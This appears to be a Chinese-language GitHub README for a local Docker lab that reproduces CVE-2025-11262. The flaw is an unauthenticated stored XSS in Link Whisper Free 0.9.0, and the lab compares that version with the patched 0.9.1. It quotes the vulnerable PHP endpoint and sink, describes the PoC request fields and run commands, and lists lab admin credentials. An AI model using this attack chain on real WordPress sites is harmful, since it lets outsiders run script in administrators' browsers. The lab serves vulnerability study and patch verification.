rootdirective-sec/CVE-2025-11262-Lab
GitHub: rootdirective-sec/CVE-2025-11262-Lab
该项目是一个基于 Docker 的本地漏洞复现实验环境,用于演示和对比分析 WordPress 插件 Link Whisper Free 中未授权存储型 XSS 漏洞(CVE-2025-11262)的触发机制与修复方案。
Stars: 0 | Forks: 0
# CVE-2025-11262 - Link Whisper Free 未授权存储型盲打 XSS
## 执行摘要
此仓库包含一个本地 Docker 实验环境,用于复现 **CVE-2025-11262**,这是一个影响 WordPress 插件 **Link Whisper Free** 的未授权存储型跨站脚本问题。
该实验环境对比了两个插件版本:
| 服务 | 插件版本 | 用途 | URL |
|---|---:|---|---|
| `vuln` | `0.9.0` | 漏洞目标 | `http://127.0.0.1:8081` |
| `patched` | `0.9.1` | 已修复对比目标 | `http://127.0.0.1:8082` |
演示的漏洞触发链如下:
```
Unauthenticated REST request
→ attacker-controlled user_id is persisted
→ a privileged WordPress user opens the Link Whisper AI Subscription page
→ the stored value is rendered into an admin JavaScript context
→ alert("CVE-2025-11262-LAB") executes on the vulnerable version
```
攻击者**无需**登录即可植入存储型 payload。当高权限的 WordPress 用户随后访问受影响的管理页面时,该 JavaScript 便会被执行。
本实验环境仅用于受控的本地研究、源码级理解和作品集演示。
## 验证事实
| 声明 | 证据 | 如何在此实验环境中验证 |
|---|---|---|
| Link Whisper Free `0.9.0` 存在漏洞。 | 公开的安全公告指出,包括 `0.9.0` 在内及之前的 Link Whisper Free 版段均受到影响。 | 针对 `http://127.0.0.1:8081` 运行 PoC,并打开输出的管理端 URL。 |
| Link Whisper Free `0.9.1` 包含修复程序。 | 公开的安全公告和更新日志数据指出 `0.9.1` 为已修复版本。 | 针对 `http://127.0.0.1:8082` 运行相同的 PoC;不应弹出任何警告框。 |
| 植入 payload 无需身份验证。 | PoC 发送 POST 请求时没有携带 WordPress cookies、登录凭据或 nonce。 | 检查 `poc/poc.py`;它只需要提供 `--url`。 |
| 可见的影响在 WordPress 管理后台触发。 | 当高权限用户打开 Link Whisper AI Subscription 页面时,存储的值会被渲染出来。 | 运行 PoC 后,以管理员身份登录并打开输出的管理端 URL。 |
| 已修复的目标在 HTTP 层可能仍会返回 `"ok"`。 | 本地测试表明两个目标都可能返回 `"ok"`;有意义的区别在于 payload 是否被持久化存储并执行。 | 对比 `8081` 和 `8082` 上的浏览器行为。 |
这是 **Root Cause Summary** 部分,可以直接替换到 README 中。它是 public-safe(公开安全的),没有提及像 `vuln_detail.txt` 这样的内部文件,并且基于您当前使用的 lab/source(实验环境/源码)。
## 根本原因总结
CVE-2025-11262 是由 Link Whisper Free 0.9.0 中的存储型 JavaScript 注入链引起的。
该问题不仅仅是缺少一次转义调用。它是由多个不安全行为组成的触发链:
```
Unauthenticated REST endpoint
→ insufficient validation of user_id
→ persistent storage in wpil_ai_access_user_id
→ unsafe rendering into an admin JavaScript context
→ stored XSS when a privileged user opens the AI Subscription page
```
### 未授权的 REST endpoint
Link Whisper Free 在插件的 REST namespace 下注册了一个 AI 身份验证 REST endpoint:
```
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';
```
该 endpoint 被注册为 `POST` 路由:
```
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [
$this,
'ai_auth_handler'
],
'permission_callback' => "__return_true",
'show_in_index' => false
]);
```
由于权限回调函数是 `__return_true`,因此无需身份验证即可访问该 endpoint。
在此实验环境中,有效的 endpoint 为:
```
/wp-json/link-whisper/ai-auth
```
这意味着未经身份验证的攻击者可以在没有 WordPress 会话、nonce 或管理员账户的情况下向该 endpoint 发送请求。
### 0.9.0 中存在漏洞的输入处理机制
在 Link Whisper Free 0.9.0 中,处理程序会从 REST 请求中读取攻击者可控的参数:
```
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id');
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}
```
存在漏洞的行为在于其薄弱的验证条件:
```
if(!empty($token) && false !== strpos($token, 'ai-')){
```
它仅检查提供的 access token 是否包含字符串 `ai-`。
在存储之前,没有对 `user_id` 进行严格的验证:
```
update_option('wpil_ai_access_user_id', $user_id);
```
因此,攻击者可控的 JavaScript 可以被持久化存储在 WordPress options 表中。
### 持久化存储
攻击者可控的 `user_id` 值被存储在 WordPress option 中:
```
wpil_ai_access_user_id
```
在此实验环境中,PoC 发送了以下仅用于本地的 payload:
```
```
在存在漏洞的服务上,该 payload 被作为 `wpil_ai_access_user_id` 的值存储起来。
攻击者无需登录即可植入 payload。该 payload 是通过未授权的 REST endpoint 植入的。
### 管理 JavaScript Sink
随后,存储的值会通过插件设置逻辑被读取:
```
public static function get_linkwhisper_ai_user_id(){
return get_option('wpil_ai_access_user_id', '');
}
```
该值被赋给 `$ai_id` 并渲染到 AI Subscription 管理页面中。
在 Link Whisper Free 0.9.0 中,该值被直接插入到 JavaScript 字符串中:
```
body: JSON.stringify({
ai_id: "",
subscription_id: "subscription_id)) ? $sub->subscription_id: null;?>"
})
```
由于 `$ai_id` 在被插入 JavaScript 上下文之前未进行转义,因此存储型 payload 可以脱离原本的字符串,并在打开管理页面时执行 JavaScript。
使用实验环境的 payload 时,存在漏洞的渲染输出等同于:
```
body: JSON.stringify({
ai_id: "",
subscription_id: ""
})
```
在浏览器中,注入的 `` 结束标签会终止原有的 script 块,随后注入的 `
```
脚本运行后,在浏览器中打开输出的管理端 URL 并使用以下凭据登录:
```
admin / AdminPassw0rd!
```
在存在漏洞的服务上,浏览器应显示包含以下内容的警告框:
```
CVE-2025-11262-LAB
```
作为对比,针对已修复的服务运行相同的 PoC:
```
python3 poc/poc.py --url http://127.0.0.1:8082
```
然后打开输出的已修复服务的管理端 URL。不应触发任何警告弹窗。
## 预期输出
存在漏洞的目标:
```
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload]
[result]
http_status: 200
response_body: '"ok"'
[next step]
Open this URL in a browser and login as the lab administrator:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
```
已修复的目标:
```
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload]
[result]
http_status: 200
response_body: '"ok"'
```
仅凭 HTTP 响应不足以确定目标是否存在漏洞。真正重要的区别在于特权用户打开受影响的管理页面后的浏览器行为。
## 截图证据

建议的截图目标:
```
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
```
截图应显示浏览器警告包含:
```
CVE-2025-11262-LAB
```
## PoC 工作原理
PoC 代码量很少,只需要提供目标 URL:
```
python3 poc/poc.py --url http://127.0.0.1:8081
```
它向以下地址发送 POST 请求:
```
/wp-json/link-whisper/ai-auth
```
包含以下表单字段:
```
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id =
uid = 1
uemail = admin@example.test
```
在存在漏洞的服务上,存储的值随后会被渲染到 AI Subscription 页面中。当管理员打开该页面时,JavaScript 就会被执行。
在已修复的服务上,相同的 payload 不应触发警告弹窗。
## 实用的验证命令
检查插件版本:
```
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper
```
检查存在漏洞的服务是否存储了 payload:
```
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root
```
预期存在漏洞的值:
```
```
检查已修复的服务:
```
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root
```
预期已修复的行为:
```
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?
```
检查 REST endpoint 访问日志:
```
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'
```
## 缓解措施与修复说明
将 Link Whisper Free 升级到 `0.9.1` 或更高版本。
该补丁通过在受影响的 AI 身份验证流程周围添加更严格的验证和更安全的输出处理,阻止了此实验 payload 被持久化和渲染。
对于生产环境,还应考虑:
- 保持 WordPress 插件处于最新状态,
- 限制管理员访问权限,
- 监控发往插件 REST endpoint 的意外请求,
- 审查 WordPress options 中可疑的类脚本值,
- 在适当的地方应用纵深防御过滤机制。
## 清理
停止并移除容器、网络和卷:
```
docker compose down -v
```
如有需要,移除本地构建的镜像:
```
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true
```
## 安全边界
此实验环境仅用于本地安全研究和受控的演示。
请勿对您不拥有或未经许可测试的系统运行 PoC。
请勿在此实验环境中使用真实的凭据、生产环境机密或外部回调。
PoC 特意使用可见的 `alert()` 标记作为截图证据。它不包含用于凭据窃取、会话窃取、超出实验环境的持久化或自动化管理员操作的 payload。
## 参考资料
- GitHub 安全公告数据库:CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
https://github.com/advisories/GHSA-7h4c-hr9j-8q85
- Wordfence Intelligence:Link Whisper Free 漏洞数据库条目
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper
- WordPress.org 插件目录:Link Whisper Free
https://wordpress.org/plugins/link-whisper/
- 存在漏洞的实验环境所使用的 WordPress.org 插件包
https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip
- 已修复的实验环境所使用的 WordPress.org 插件包
https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip
- WordPress 插件源码浏览器:Link Whisper `0.9.0` Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php
- WordPress 插件源码浏览器:Link Whisper `0.9.1` Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php
- WordPress 插件源码浏览器:Link Whisper `0.9.0` Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php
- WordPress 插件源码浏览器:Link Whisper `0.9.1` Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php
标签:Docker, WordPress插件, XSS, 安全漏洞, 安全防御评估, 文件完整性监控, 漏洞复现环境, 漏洞情报, 版权保护, 请求拦截, 逆向工具